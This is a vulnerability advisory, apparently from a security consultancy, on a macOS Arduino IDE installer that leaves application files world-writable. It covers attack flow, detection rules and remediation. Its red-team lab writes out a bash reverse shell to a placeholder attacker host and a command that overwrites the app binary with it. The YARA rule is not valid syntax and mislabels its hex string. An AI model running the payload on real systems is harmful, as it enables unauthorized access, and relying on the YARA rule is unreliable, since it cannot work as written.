CVE-2025-64724

Executive Summary

CVE-2025-64724 is a local privilege escalation vulnerability affecting the Arduino IDE on macOS prior to version 2.3.7. The vulnerability stems from the installer setting world-writable permissions on sensitive application components. This allows any local user to replace legitimate files with malicious code. When another user launches the application, the malicious code executes with that user's privileges, enabling privilege escalation and unauthorized access to sensitive data. The vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as high severity due to the potential for full system compromise. No public exploit code or proof-of-concept is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the macOS system.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond standard file system access.
• Privileges Required (PR): Low (L) – The attacker needs only a standard user account.
• User Interaction (UI): None (N) – No user action is required beyond the victim launching the application.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full access to victim's data.
• Integrity (I): High (H) – Arbitrary code execution with victim's privileges.
• Availability (A): High (H) – Potential for denial of service or system instability.

Threat Level: High. The vulnerability allows a low-privileged attacker to escalate to the privileges of any user who launches the compromised application, potentially gaining access to sensitive data and system control.

Deep Dive & Mechanics

The vulnerability is rooted in the macOS installer for Arduino IDE versions prior to 2.3.7. The installer incorrectly sets world-writable permissions (e.g., 777 or o+w) on key application components, such as executable binaries, libraries, or configuration files. This misconfiguration allows any local user to modify these files.

Attack Flow:

1. Reconnaissance: An attacker with local access identifies the Arduino IDE installation (typically in /Applications/Arduino.app).
2. File Replacement: The attacker replaces a legitimate binary or library (e.g., Arduino executable or a dynamic library) with a malicious payload.
3. Trigger: Another user (potentially with higher privileges) launches the Arduino IDE.
4. Execution: The malicious code executes with the victim's privileges, allowing the attacker to perform actions such as data exfiltration, keylogging, or further privilege escalation.

The vulnerability is particularly dangerous in multi-user environments (e.g., shared workstations, labs) where users may have different privilege levels.

Vulnerable vs. Patched Code

Vulnerable (versions < 2.3.7): The installer sets permissions incorrectly. For example, the application bundle might have:

# Vulnerable permissions (example)
ls -la /Applications/Arduino.app/Contents/MacOS/Arduino
-rwxrwxrwx  1 root  wheel  123456 Jan 1 12:00 Arduino

Patched (version 2.3.7): The installer now sets proper permissions, restricting write access to the owner (root or the installing user):

# Patched permissions (example)
ls -la /Applications/Arduino.app/Contents/MacOS/Arduino
-rwxr-xr-x  1 root  wheel  123456 Jan 1 12:00 Arduino

The fix ensures that only authorized users (typically root or the installing user) can modify application files.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a macOS system with Arduino IDE < 2.3.7 installed.
• A standard user account.

Steps:

1. Identify the vulnerable application path:

   ls -la /Applications/Arduino.app/Contents/MacOS/
   

2. Create a malicious payload (e.g., a reverse shell):

   # Create a simple payload that spawns a reverse shell
   echo '#!/bin/bash
   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/payload.sh
   chmod +x /tmp/payload.sh
   

3. Replace the legitimate binary:

   cp /tmp/payload.sh /Applications/Arduino.app/Contents/MacOS/Arduino
   

4. Wait for another user to launch the application. The payload executes with their privileges.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unauthorized file modifications in /Applications/Arduino.app/.
• Use file integrity monitoring (FIM) tools to alert on changes to application binaries.
• Check for world-writable permissions on application components:

  find /Applications/Arduino.app -perm -o+w -type f
  

Prevention:

• Update to Arduino IDE 2.3.7 or later.
• Restrict local user accounts and enforce least privilege.
• Use macOS security features like System Integrity Protection (SIP) and Gatekeeper.

Indicators of Compromise (IOCs)

• File Paths:
  • /Applications/Arduino.app/Contents/MacOS/Arduino (modified)
  • /Applications/Arduino.app/Contents/Frameworks/* (modified)
• Permissions: World-writable files (-rwxrwxrwx or -rw-rw-rw-) in the application bundle.
• Process Anomalies: Unexpected child processes spawned by the Arduino IDE (e.g., shell, network connections).
• Network Connections: Outbound connections to unknown IPs on unusual ports (e.g., 4444 for reverse shells).

Detection Engineering

YARA Rule

rule CVE_2025_64724_Arduino_MacOS_Permissions {
    meta:
        description = "Detects world-writable files in Arduino IDE application bundle"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64724"
    strings:
        $app_path = "/Applications/Arduino.app"
        $world_writable = { 2E 2E 2E 77 72 69 74 61 62 6C 65 } // "world-writable" or similar
    condition:
        $app_path and (for any file in filesystem: (filepath contains $app_path and (file_permissions & 0x0002)))
}

Sigma Rule

title: CVE-2025-64724 - Arduino IDE World-Writable File Modification
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects modification of files in Arduino IDE application bundle by non-owner users
author: Valters IT
date: 2025-01-01
logsource:
    category: file_event
    product: macos
detection:
    selection:
        TargetFilename|startswith: '/Applications/Arduino.app/'
        User|notcontains: 'root'
    condition: selection
falsepositives:
    - Legitimate updates by authorized users
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-64724 - Potential Arduino IDE Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 62 61 73 68|"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Arduino IDE: Upgrade to version 2.3.7 or later from the official Arduino website.
2. Verify Permissions: After update, check that application files are not world-writable:

   find /Applications/Arduino.app -perm -o+w -type f
   

3. Restrict Local Access: Implement least privilege for user accounts. Remove unnecessary users from the system.

Long-Term Measures:

• Enable macOS System Integrity Protection (SIP) to prevent unauthorized modifications to system-protected locations.
• Use endpoint detection and response (EDR) solutions to monitor file integrity and process behavior.
• Conduct regular security audits of installed applications and their permissions.

Workaround (if patching is not possible):

• Manually correct permissions on the Arduino IDE application bundle:

  sudo chmod -R o-w /Applications/Arduino.app
  sudo chown -R root:wheel /Applications/Arduino.app
  

Valters IT
DevSecOps & Cyber Threat Intelligence